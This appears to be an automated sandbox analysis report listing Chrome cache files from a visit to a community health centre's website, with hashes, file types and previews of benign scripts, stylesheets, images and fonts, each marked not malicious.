Preview:	!function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="dist",r(r.s=163)}({163:function(e,t){}});

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 208, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5302
Entropy (8bit):	7.74229330768038
Encrypted:	false
SSDEEP:	96:CiRVyw5zttZmB0MXZrmmjYUHDYvUgyqpXQHhsfNpK6e32:Hr/zttE9jU5UhQNgbG
MD5:	52267D23F490692A0A9EA88CEABB6554
SHA1:	A0159E508CD92CD9CBBCF3D53BE7DD565634D797
SHA-256:	74AF46697DD1A60D0B49CB30FFC0E7F13BD6E85C6B3A8960A960A3662623AA8E
SHA-512:	77E0DFAEC33DEEE5F4083A476180695F22BBF731996F5DB1536B5A9D90FB062A417BB2AD1877661B15D45100330F0BBC6EEFED10C8D13E22CC989BEB1C877975
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............$.GS....sBIT....\|.d....mIDATx^..ko.W....{..v{H2.D.).<.......F g=.V.y=..}..g..]....2;c.$+#v.1.......n..../YB.WwWWW..d.D.s>..~.S.t-.yga.z.u........@@=...Jo..Yk...v..A.g?.j..+..r>.. .@v.:.n......N.._mk...w4?..8..'7.k..6... ...r..rz.t.....G..u.?..qR..\(..R..8....@@n..-..&7?.mm3.H..,..o..^0....A....PD........z.U#~a...f/...Y.s.....%.D....xF p......[/Cyeh..bG.....s....@.Y..m....'/R9.....hUW.4'o..... .....]....<......{B..s....M.....@..!....Vwu}...=..-X...,=,{.',GfN!......4..t>~.g9...q.......1E....@`.K..n...,..V.1..@.........N.y......8..h.K....gr!....<..e.`.e.o....;.n.....+..@@a.v.l..._[.....>......m... .....*.}tM..K.....I.{<...b.. .@...{G...,.........wa~!.....t.`.?~w.Q......w9..j.&....N,.......<.....K.Kf...K...@....>..#.......b.. .....:z.......`.....M...<.. ...X.6.`.....(.......q......]o.:..O.~...... .@.."...]6.1..V^RW.....(+0.`....~.M..uWY}.....H(0.`..._.y.V.FNB_.....('0.`.....<{.[>.(7..0...(..`....S.1!..j....>..6.

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2119
Entropy (8bit):	4.809009210661584
Encrypted:	false
SSDEEP:	48:No70rJVyQcxOrxZchVDD2DDrICykkn7B3/6UOqEf:y7aJVDcMrncPK/r9aBPxOZ
MD5:	1443A82F90AEA9EB609FA8D6CF9E2747
SHA1:	2BCDC2BFFD4466BF0B4AA1B44D30075798E5A952
SHA-256:	D0A4569A0E5A6B48A2603E2B3497D32501F01EC10B7DBAA5DB9C31C7D227D3ED
SHA-512:	5077F1653A379F3CE6F821D89841B6A0308C12C0232346588DFB3E599A3D019CEE3F54FB4D4548C8B987DAD838201AB0190BD20C27C3644955A19CEC5164C1A5
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/custom.js
Preview:	$(document).ready(function () {.. // Getting elements.. let reviewsCount = document.querySelector(".google-reviews-container");.. let reviewsection = document.querySelector(".section-google-reviews");.. // checking number of reviews.. if (reviewsCount.children.length <= 2) {.. // Adding class to elements.. reviewsCount.classList.add("reviews-multiple");.. reviewsection.classList.add("reviews-nonslider");.. // checking number of reviews.. if (reviewsCount.children.length === 2) {.. const mediaQuery = window.matchMedia("(max-width: 768px)");.. // Check if the media query is true.. if (mediaQuery.matches) {.. // removing class.. reviewsCount.classList.remove("reviews-multiple");.. reviewsection.classList.remove("reviews-nonslider");.. review_slider();.. }.. }.. } else if (reviewsCount.children.length > 2) {.. // Slick slider.. review_slider();.. }..});....$(window).resize(function () {.. var reviewsCount = doc

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 147166
Category:	downloaded
Size (bytes):	23226
Entropy (8bit):	7.989672327740994
Encrypted:	false
SSDEEP:	384:MuzH7n0Ah2tq6zODnAM4Y4hm5MK9lMN3cqNVC9bbCdfaZgXDXtZSFT:MuXnhAUMOEM4Y4hSHMN3zEdOfWgmFT
MD5:	97DA4EED47CF1BE1A4EB76C68AB0842A
SHA1:	554ED30343A737DE3B8D0C74762CDB6B2362C34B
SHA-256:	91DD1FB4C8EC7F06CD33C8DDDA1EED965A2320C867725C1A0A0A5E18D33B5092
SHA-512:	90DBF9CC1500C1E5AC045DD63495E480F4B9FFBF8FDF27A8D66979A1B8BF4A9C78832835BA87695D8B1FDC23B541C8983D8614F84D3CB9A588274B068CAF5012
Malicious:	false
Reputation:	low
URL:	http://valleyprohealth.org/
Preview:	.............F.(.,E....b..3..w.-u{.m.....4.5.v0@.HB.......E...?p......).KNf...I..d.i.I..2....2.n.......f..$.............g..^wX.......Q...O.K?.NY<..d.s~.Jq.;..........q...g.^83g.#&I.{.........M.p...y',>a.....<.~.~.~eg.._.b?..h.<_...b.9.'S9N.(9:e3~.q...X...?._'KE.%.%.........q........!.o.>....7P............-.p#.... .r>/......;..y....}........+ .J.[.of..L.....#x..I....n...J.S.%.xZOv.iW..+.#.>...<w".....e...(....?\|{.F%.}8~x...[<t.X..v$$..\Sx.......K.g..0.w.RD"...[%v".......<9....S...y.....s..y.%...(;.\.^29....r..@@g~.;........v...wR.J#?9....q..,..Y....9..D..:.-.7..u....I.Gg..!.. .7.(...$.9.....R.M& 4q.r.N.?.....tMx....D...l.9oM..\[..C..$..]...!.@oK.u.....%9.j\..!(..-I.r...$.\|[....qW\...%......$.oK........f...h..o...l9]}.M....yQ.{)e.......O..o...BP...S;e...].R.k..."......x...k.., ...0.Q.}.AKVz..."..dD.Q.G.iU.{D_...+.U.....V._.6....[..n./7..........i..]y>.g..kx...0......%..@...-.s-..y...<..h..x...<9.T.\|.{<.3J......I.f.......;.'.

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65465)
Category:	downloaded
Size (bytes):	249943
Entropy (8bit):	5.3371425406977995
Encrypted:	false
SSDEEP:	3072:ebhGqku2P75C5gw2vkYgsqS+0tLULbW08ewwum:esqqP7UhEuQ+0JU3iewwum
MD5:	D5A4ED5131E5C687C48411F5BAEEB926
SHA1:	9E81F658B506FA0E50E06C1BC1F903F8CC144BB2
SHA-256:	BA79FB13769F3CAE9981CF44BB342425E61862FC95EA8645C5E8AB23CB93BB65
SHA-512:	3FA125EE4AC1C4F3D4C64ACB0038240276D15EEB430CA60A999C6C5A80A325A121B6B43C6A6AF88C6F8AA66C33CA92CC8B53E18BDD63B25612ECD54884FC570B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0
Preview:	/! For license information please see main.08ee491c.js.LICENSE.txt /.(()=>{"use strict";var e={219:(e,t,n)=>{var r=n(763),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},a={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},i={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function u(e){return r.isMemo(e)?i:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=i;var s=Object.defineProperty,c=Object.getOwnPropertyNames,f=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,n,r){if("string"!==typeof n){if(h){var o=p(n);o&&o!==h&&e(t,o,r)}var i=c(n);f&&(i=i.concat(f(n)));for(var l=u(t),m=u(n),v=0;v<i.length;++v){var g=i[v];if(!a[g]&&(!r\|\|!r[g])&&(!m\|\|!m[g])&

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	10048
Entropy (8bit):	4.683090205793578
Encrypted:	false
SSDEEP:	96:xvf7g1JY230Eb4hte0EDLOJfQDqd8YwXiwwe9SjgRBGd5QsRKP8/llU1f08XrZOj:hG8VJNUXiwwwSjx7EPklO18w7jeO5kGo
MD5:	3D5B41FFB20BA5587077EEB4DB9A3263
SHA1:	2869EC6560893689D71341572B3AE886BAAE7EAD
SHA-256:	ED3E9969884623E34CB3E08415C746C4887F6F5D12A8E19930A1E0D6FB942297
SHA-512:	47872A141621762E5629AECE08FACC46915C8FEFD8FF6FD18EC1F30F5E50D1272755DEF9C8307359CAA611A8EBD824F7176C556E798C8B6490FDA9D4711AF5EA
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 170 170" enable-background="new 0 0 170 170" xml:space="preserve">.<path fill="#3B6E8E" d="M44.281,126.521c10.679,10.666,25.423,17.262,41.708,17.262c16.285,0,31.029-6.596,41.708-17.262H44.281z"/>.<path fill="#3B6E8E" d="M85.989,25.737c-32.597,0-59.023,26.426-59.023,59.023c0,3.374,0.287,6.681,0.831,9.899h29.56..c-0.934-2.926-1.441-6.041-1.441-9.277c0-16.844,13.656-30.5,30.501-30.5c16.845,0,30.499,13.656,30.499,30.5..c0,3.236-0.508,6.352-1.441,9.277h28.705c0.544-3.219,0.831-6.525,0.831-9.899C145.012,52.163,118.587,25.737,85.989,25.737"/>.<path fill="#A0B7CC" d="M28.925,94.659c-0.577-3.269-0.879-6.633-0.879-10.068c0-31.81,25.787-57.601,57.6-57.601..c31.812,0,57.6,25.79,57.6,57.601c0,3.436-0.303,6.8-0.879,10.068h2.429c0

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65469)
Category:	downloaded
Size (bytes):	334711
Entropy (8bit):	5.293774842448989
Encrypted:	false
SSDEEP:	6144:GX8YJBGSiN/0WZu2N4FFI6UcuCYizTJP1ni:GvBGpl0S6eizi
MD5:	03E6EECAA675672D5867A168EBA7ECD8
SHA1:	998B274381151FB521D37DFCC8E79567CEC4AD7B
SHA-256:	854EAE059F8581E449E914D208E0CC31459577885A1EE502ADBE3A4F93F32B89
SHA-512:	29A9114B5FF8EFEEE4D69682338FBCF92E5F4567A33CB98F380E77DC2DC3EA004E0DC5EEDB0A66D6B2FAD0266660B02E06AEEE675FCC2E65914C8F256DFC8E80
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000
Preview:	/! For license information please see vendor.bundle.js.LICENSE /.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],[function(t,e,n){for(var i=n(177),o=n(121),r=n(87),a=n(74),s=n(85),l=n(101),c=n(48),u=c("iterator"),d=c("toStringTag"),h=l.Array,f={CSSRuleList:!0,CSSStyleDeclaration:!1,CSSValueList:!1,ClientRectList:!1,DOMRectList:!1,DOMStringList:!1,DOMTokenList:!0,DataTransferItemList:!1,FileList:!1,HTMLAllCollection:!1,HTMLCollection:!1,HTMLFormElement:!1,HTMLSelectElement:!1,MediaList:!0,MimeTypeArray:!1,NamedNodeMap:!1,NodeList:!0,PaintRequestList:!1,Plugin:!1,PluginArray:!1,SVGLengthList:!1,SVGNumberList:!1,SVGPathSegList:!1,SVGPointList:!1,SVGStringList:!1,SVGTransformList:!1,SourceBufferList:!1,StyleSheetList:!0,TextTrackCueList:!1,TextTrackList:!1,TouchList:!1},p=o(f),m=0;m<p.length;m++){var g,v=p[m],y=f[v],b=a[v],w=b&&b.prototype;if(w&&(w[u]\|\|s(w,u,h),w[d]\|\|s(w,d,v),l[v]=h,y))for(g in i)w[g]\|\|r(w,g,i[g],!0)}},function(t,e,n){var i=n(72).f,o=Function.prototype,r=/^\s*fun

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.889660850982835
Encrypted:	false
SSDEEP:	48:k4eIAhyy+4kpl0egQ9q3Eh7MpPYgzjFHwT0aVGh0wgiBdbCQ:k4e9yyExdMpN5PaVGhHgWR
MD5:	AF9EE10F3A1FACCA0734C30A14969DBC
SHA1:	549A7BC681ECCCD8E395B141B352F2A780B935FC
SHA-256:	428872D3EB1827C1DF311200338D4D8464AC42C4F628EC3F376EFB72EF24D3F5
SHA-512:	E1B424831B89365ABA26A5F01DD801A5111B80A7492388022EFBD1CF071B06E12B584E46F51FC1A6D60F30446CEF30A88880BB507F54370BE7DEA7A66F9BE6C5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.{pT....}.+.d.b.l.0.T.L...$....h...".G...I;J..-Xu:.FT...J.L....4...80F.A`...yl....nv.....l.Y......S.{..s....-....\g.pM..,.5j5..]>.....cY7........{b.t.x.1a..o...i..m.....h@.(...........W0R.>...WYd^.}..{S.'.e=.....9......8.q\....H.96...6.$.}YN.....5.0.%1.....b{rxV.I......5.........M..,..jH.......:;.9do...H.8..d.e..8)....k.../Nj..4..{.g9......x.r....).....N.3%Uo(,2........Z..y:...t....3.~.y..p`.}gt..F....cXT...7..~..c.>j.~..7...oBZ...e./..R...b4._.(.6..R.'..jU.D..R.....%S}]M....8.....'..N....f...B.p..()\..d..n..Rs$[.Hb...#......s7.2..........g{..w.F.8....`.=..XW.i...o....\.....X..>.f:..2.0.P.}`.....v..{.:{sY..~.!...z.>[....e...~.ga...a.n..Dc..;.R.%Yt~2..F.,....\|..5.....J.S.3a_...[Y..(....,...:......N.F.$a'Z...i....y......../..;....w`..o...G....)....-p^.\...a...`].8}.......sZ.ko....Q;..]...&?8;...k..t....9...eV..+.g.%.n...xV...c.[.j.a.8v...i...j..q...IKZ.)g..Q.V[..Hi...(.}...

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4632), with no line terminators
Category:	downloaded
Size (bytes):	4632
Entropy (8bit):	5.083081916706679
Encrypted:	false
SSDEEP:	96:Rc3o7hWfs7Y0OLbjtov88FI+UpnqInzXg:63o7hWfsM0OLbjqFJ6s
MD5:	6294EFBDFED15FD862E7AF820A8DF3D4
SHA1:	9AB29A15E19EF8EC5BAA0ECD4C7A74CE18A7EFC5
SHA-256:	DDD834BE7A742D4193E2DA1E1A0726D2A9C644D9AD3BB8466E6D49D438BF3B94
SHA-512:	DCFAD8EBF49C33432954FCA913A0F92FA3D43E181CE515C88758096A18A18B0465492F1D39E39A45748BBB23979D32D2D85531A5D781C8B5F222EFE8FB525E8A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937
Preview:	.acf-block-homepage-hero__decor{top:0;right:0;width:100vw;border-bottom-right-radius:5.625rem}@media (min-width:992px){.acf-block-homepage-hero__decor{width:calc(50vw + 5rem);right:calc(50% - 5rem);border-bottom-right-radius:10rem}}@media (min-width:1200px){.acf-block-homepage-hero__decor{width:calc(50vw + 10rem);right:calc(50% - 10rem);border-bottom-right-radius:13.75rem}}.acf-block-homepage-hero__decor--h-80{height:80%}@media (min-width:992px){.acf-block-homepage-hero__decor--h-80{height:100%}}.acf-block-homepage-hero__circle{left:-8rem}@media (min-width:576px){.acf-block-homepage-hero__circle{left:calc(50% - 30rem)}}@media (min-width:768px){.acf-block-homepage-hero__circle{left:calc(50% - 40rem)}}@media (min-width:1200px){.acf-block-homepage-hero__circle{left:calc(50% - 50rem)}}.acf-block-homepage-hero__circle{width:16rem;bottom:-6.375rem}@media (min-width:576px){.acf-block-homepage-hero__circle{width:20.70312rem;bottom:-9.15625rem}}@media (min-width:768px){.acf-block-homepage-hero_

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65302), with CRLF line terminators
Category:	downloaded
Size (bytes):	155850
Entropy (8bit):	5.05989185789813
Encrypted:	false
SSDEEP:	1536:40bwW83RipVVsEBpy0cuJcf22RWb5CyVUpz600I4f3:40bwlyVUpz600I4f3
MD5:	418B87D84B12ED3680BDA9717CDB6CFC
SHA1:	D7F87F1132B5032EDDAAF8E15C422E8CD514B23A
SHA-256:	27834E89DDFAE0FB6633070E44C359DE78BECD9A1D24503DA80E59D75493CB4E
SHA-512:	6A60581757069AACE5079A214383E7F5FDD6B55C823367B7CD2AE75BD74C062B98E65DC716DE08E63D955E66C6C314FFCEB9DF8D624819430CB49FD81369C74D
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!.. Bootstrap v5.0.2 (https://getbootstrap.com/).. * Copyright 2011-2021 The Bootstrap Authors.. * Copyright 2011-2021 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255,

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1214
Entropy (8bit):	4.47782330105859
Encrypted:	false
SSDEEP:	24:2d1Cso282K2zo282KFl/ZWoX8Gi3YoX82KFl4+5MR/WXt8:c17r82hzr820/UK8GBK820VQWXW
MD5:	E64B8CC625E29983A432184839A727A5
SHA1:	8D701603C34804A4220FDBFE7905A522D24E5D19
SHA-256:	EE2233CF18847F9A01570AA59A832168422D734002CBFE637C8E9B11E4A626E2
SHA-512:	CDD52FADB9A0623B062539FCD26F3E05431F837221131FBAC84B36705B8A0479CE4D457981C7C04E02D9672D27945CD802615C968E77500B72BB3450ABE2DF14
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/logo__vpchc-mobile.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#2d4590"/><path d="m15.4-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m15.4 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.9-4.4-9.9-9.8 4.4-9.8 9.9-9.8z" fill="#2d4590"/><path d="m33.3 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m24.3 19.

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65469)
Category:	downloaded
Size (bytes):	334711
Entropy (8bit):	5.293774842448989
Encrypted:	false
SSDEEP:	6144:GX8YJBGSiN/0WZu2N4FFI6UcuCYizTJP1ni:GvBGpl0S6eizi
MD5:	03E6EECAA675672D5867A168EBA7ECD8
SHA1:	998B274381151FB521D37DFCC8E79567CEC4AD7B
SHA-256:	854EAE059F8581E449E914D208E0CC31459577885A1EE502ADBE3A4F93F32B89
SHA-512:	29A9114B5FF8EFEEE4D69682338FBCF92E5F4567A33CB98F380E77DC2DC3EA004E0DC5EEDB0A66D6B2FAD0266660B02E06AEEE675FCC2E65914C8F256DFC8E80
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000
Preview:	/! For license information please see vendor.bundle.js.LICENSE /.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],[function(t,e,n){for(var i=n(177),o=n(121),r=n(87),a=n(74),s=n(85),l=n(101),c=n(48),u=c("iterator"),d=c("toStringTag"),h=l.Array,f={CSSRuleList:!0,CSSStyleDeclaration:!1,CSSValueList:!1,ClientRectList:!1,DOMRectList:!1,DOMStringList:!1,DOMTokenList:!0,DataTransferItemList:!1,FileList:!1,HTMLAllCollection:!1,HTMLCollection:!1,HTMLFormElement:!1,HTMLSelectElement:!1,MediaList:!0,MimeTypeArray:!1,NamedNodeMap:!1,NodeList:!0,PaintRequestList:!1,Plugin:!1,PluginArray:!1,SVGLengthList:!1,SVGNumberList:!1,SVGPathSegList:!1,SVGPointList:!1,SVGStringList:!1,SVGTransformList:!1,SourceBufferList:!1,StyleSheetList:!0,TextTrackCueList:!1,TextTrackList:!1,TouchList:!1},p=o(f),m=0;m<p.length;m++){var g,v=p[m],y=f[v],b=a[v],w=b&&b.prototype;if(w&&(w[u]\|\|s(w,u,h),w[d]\|\|s(w,d,v),l[v]=h,y))for(g in i)w[g]\|\|r(w,g,i[g],!0)}},function(t,e,n){var i=n(72).f,o=Function.prototype,r=/^\s*fun

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8700), with no line terminators
Category:	downloaded
Size (bytes):	8700
Entropy (8bit):	4.901679221068419
Encrypted:	false
SSDEEP:	96:c7FZY7QB0zRHEFjedGgSrWN06CwuEUKj4vZPTxJpEMfHBE6J0/Pn07:uYNzRHIJgSaN06lj4BPl7E6O6JCk
MD5:	38F95416D5F7349B65699F64E6A587FD
SHA1:	2CA6F6F77481C3CDBCAACFC61A56C24F3C933ADE
SHA-256:	08756C47213D461BAA3B01F42448A76D11F524470C7A34F9018733889BD4F49C
SHA-512:	E855AB926916CC3A9AEF67E6BCAC01056180650710804624452F2D2ACB7CE5CE563FBDC5146D51FFE6607FBCDFF8D806765D4FE14C6316AE559BB0C6281EDAFA
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16
Preview:	!function(){if("function"==typeof window.CustomEvent)return!1;function e(e,t){t=t\|\|{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),function(){var e=function(e){return RegExp("(^\| )"+e+"( \|$)")},t=function(e,t,n){for(var i=0;i<e.length;i++)t.call(n,e[i])};function n(e){this.element=e}n.prototype={add:function(){t(arguments,function(e){this.contains(e)\|\|(this.element.className+=this.element.className.length>0?" "+e:e)},this)},remove:function(){t(arguments,function(t){this.element.className=this.element.className.replace(e(t),"")},this)},toggle:function(e){return this.contains(e)?(this.remove(e),!1):(this.add(e),!0)},contains:function(t){return e(t).test(this.element.className)},replace:function(e,t){this.remove(e),this.add(t)}},"classList"in Element.prototype\|\|Object.defineProperty(Element.prototype,"classList",{get:function(){return

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	22315
Entropy (8bit):	3.741277698405201
Encrypted:	false
SSDEEP:	384:F/R1VGQm0d8Me9sBjNjlw9aAXuLxDlcDE9JluPpKOGG+bVRCqe/tgK1dKrQJ10sJ:X1V3Rcg8Kr07Qp4T9TXSY
MD5:	E7C4F406DBD8701D7336592B3B9B89E3
SHA1:	4381159CEBB0B555C7192D706944C9914097F550
SHA-256:	27453F83F2D291215EC43109564AFDF82DCCB1E62594A7D9812F5B3C7575ED9B
SHA-512:	A1563B3251CECBF6572DCFC3E2555EFA8E17225D4861D713E512033DBEB192963B5711D42037B5EA9448611ADB2496A0A5F8DC3E865FD491D4AF77B84B531E3A
Malicious:	false
Reputation:	low
Preview:	<svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg">.<path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443 0 1.70109C0 1.03774 0.537745 0.5 1.20109 0.5C1.86443 0.5 2.40217 1.03774 2.40217 1.70109ZM2.40217 13.712C2.40217 14.3753 1.86443 14.913 1.20109 14.913C0.537745 14.913 0 14.3753 0 13.712C0 13.0486 0.537745 12.5109 1.20109 12.5109C1.86443 12.5109 2.40217 13.0486 2.40217 13.712ZM13.212 2.90217C13.8753 2.90217 14.413 2.36443 14.413 1.70109C14.413 1.03774 13.8753 0.5 13.212 0.5C12.5486 0.5 12.0109 1.03774 12.0109 1.70109C12.0109 2.36443 12.5486 2.90217 13.212 2.90217ZM14.413 13.712C14.413 14.3753 13.8753 14.913 13.212 